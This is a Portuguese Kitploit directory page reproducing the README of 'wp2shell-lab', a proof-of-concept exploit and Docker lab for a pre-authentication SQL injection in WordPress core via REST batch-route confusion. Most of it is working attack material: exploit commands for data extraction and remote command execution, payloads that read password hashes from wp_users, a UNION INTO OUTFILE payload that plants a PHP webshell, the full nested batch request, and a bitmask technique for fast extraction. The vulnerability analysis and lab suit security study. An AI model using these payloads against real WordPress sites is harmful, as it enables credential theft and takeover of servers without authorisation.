Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
wp2shell-lab — PoC educacional + laboratório para CVE-2026-63030 + CVE-2026-60137: SQLi de pré-autenticação no núcleo do WordPress via confusão de rota em lote (batch-route) do REST | Kitploit
Ferramentas/GitHubGitHub/47cid/wp2shell-lab
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHub47cid/wp2shell-lab

wp2shell-lab

14215há 1 mêsAinda não revisado

PoC educacional + laboratório para CVE-2026-63030 + CVE-2026-60137: SQLi de pré-autenticação no núcleo do WordPress via confusão de rota em lote (batch-route) do REST

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

wp2shell-lab

PoC e laboratório educativo para CVE-2026-63030 + CVE-2026-60137: injeção SQL pré-autenticação no core do WordPress via confusão de rota batch.

Descoberto por Adam Kues (Searchlight Cyber / Assetnote). Corrigido no WordPress 6.9.5 / 7.0.2.

Início rápido

root@kitploit:~
# iniciar o laboratório vulnerável
cd docker && ./setup.sh
cd ..

# detectar
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extrair dados (modo rápido, padrão)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extrair dados (modo cego, para comparação)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# consulta SQL personalizada
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requer privilégio FILE, o laboratório o concede)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # shell interativo

# proxy via Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# encerrar
cd docker && ./setup.sh down

Análise

Passo 1: O endpoint batch não é autenticado

POST /wp-json/batch/v1 agrupa várias chamadas da API REST em uma única requisição HTTP. Não possui verificação de autenticação própria. A segurança é delegada ao callback de permissão de cada sub-requisição.

Passo 2: A dessincronização

serve_batch_request_v1() constrói dois arrays paralelos:

  • $matches[] registra qual handler despachar cada sub-requisição
  • $validation[] registra se cada sub-requisição passou na validação

Ambos são indexados pelo mesmo offset durante o despacho. O bug: quando o caminho de uma sub-requisição falha em wp_parse_url(), um WP_Error é adicionado a $validation mas não a $matches. Isso desloca $matches em um, de modo que cada sub-requisição subsequente é despachada para o handler errado.

Passo 3: Aninhamento duplo

A dessincronização é usada duas vezes.

Batch externo. Uma requisição /wp/v2/posts carregando um batch interno como corpo é despachada sob o handler batch (auto-chamada). Foi validada como uma requisição de posts, então o array requests interno nunca foi verificado contra o schema do batch. Isso contorna a lista de permissões de métodos e permite que sub-requisições internas usem GET.

Batch interno. Uma requisição /wp/v2/categories?author_exclude=<SQLI> é despachada sob get_items() de posts. O schema de categorias não define author_exclude, portanto passa pela validação sem alterações. Mas get_items() de posts mapeia para WP_Query::author__not_in, onde o valor é interpolado diretamente no SQL.

Passo 4: A injeção SQL

O código vulnerável do WP_Query só sanitizava author__not_in quando já era um array:

root@kitploit:~
// PRÉ-CORREÇÃO (vulnerável)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitizar
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // interpolação direta

Um valor string contorna completamente a verificação is_array(). A conversão (array) a envolve sem sanitizar.

Passo 5: O que você pode fazer com isso

Ler o banco de dados (todos os sites afetados):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Oráculo booleano: posts retornados = verdadeiro, vazio = falso. Busca binária por caractere.

Escrever arquivos (requer privilégio MySQL FILE, não é o padrão do WordPress):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

A dessincronização do batch

A requisição HTTP real:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Como os arrays se desalinham:

serve_batch_request_v1() processa sub-requisições em dois loops. O primeiro loop valida cada sub-requisição e constrói $matches[] e $validation[]. O segundo loop despacha cada sub-requisição usando $matches[$i] como o handler. Como o erro do primer está ausente em $matches, o segundo loop emparelha cada requisição com o handler errado.

root@kitploit:~
POST /?rest_route=/batch/v1  (anônimo, sem autenticação)
|
v
A REQUISIÇÃO QUE VOCÊ ENVIA
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validar):                                           |
|    [0] "http://"          -> wp_parse_url falha              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ erro,  OK(posts),     OK(batch)    ]        |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 erro ignorado em $matches                    |
|                                                              |
|  Loop 2 (despachar):                                         |
|    i=0: erro -> pular                                        |
|    i=1: POST /posts  usa $matches[1] = batch_handler         |
|         -> corpo de posts executado como batch aninhado      |
|    i=2: POST /batch  usa $matches[2] = fora dos limites      |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
BATCH ANINHADO (serve_batch_request_v1 chama a si mesmo com o corpo acima)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validar):                                           |
|    [0] "http://"            -> wp_parse_url falha            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ erro,  OK(cats),         OK(posts)    ]     |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (despachar):                                         |
|    i=0: erro -> pular                                        |
|    i=1: POST /categories usa $matches[1] = posts_handler     |
|         -> requisição de categorias tratada por posts get_items() |
|         -> author_exclude não está no schema de cats, não sanitizado |
|         -> posts mapeia para WP_Query::author__not_in         |
|         -> INJEÇÃO SQL                                        |
|                                                              |
+--------------------------------------------------------------+

Extração rápida via oráculo de máscara de bits X-WP-Total

PoCs existentes usam extração booleana cega: 1 bit por requisição HTTP, aproximadamente 224 requisições para um hash de senha. Este repositório combina duas técnicas para extração ~75x mais rápida.

Oráculo X-WP-Total. O WordPress adiciona SQL_CALC_FOUND_ROWS a consultas de posts e coloca a contagem no cabeçalho de resposta X-WP-Total. Linhas UNION são contadas no nível SQL mesmo que o PHP as filtre do corpo da resposta. UNIONs condicionais codificam bits individuais:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0 significa bit não definido, 1 significa bit definido. Sete sondas = um caractere ASCII completo.

Batch interno ilimitado. O batch externo valida maxItems: 25 via seu schema. A confusão de rota contorna isso: o batch interno é executado recursivamente sem verificação de tamanho. Todas as 7 sondas de bits para múltiplos caracteres são compactadas em uma única requisição.

16 caracteres x 7 bits = 112 sondas por requisição. Um hash phpass de 34 caracteres em ~3 requisições em vez de ~224.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] usando oráculo booleano cego (busca binária, 1 bit por requisição)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] usando oráculo de máscara de bits X-WP-Total (16 caracteres/requisição)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

Referências

  • WordPress 7.0.2 release
  • Searchlight Cyber advisory
  • GHSA-ff9f-jf42-662q (confusão de rota)
  • GHSA-fpp7-x2x2-2mjf (SQLi)
  • Icex0/wp2shell-poc - SQLi cego + webshell pós-autenticação
  • AdnaneKhan/Wp2Shell-RCE - RCE via INTO OUTFILE com laboratório Docker
  • sergiointel/wp2shell-poc - PoC minimalista baseado em tempo

Legal

Apenas para testes de segurança autorizados e educação. Use exclusivamente contra sistemas que você possui ou para os quais possui permissão explícita por escrito para testar.

Baixar ferramenta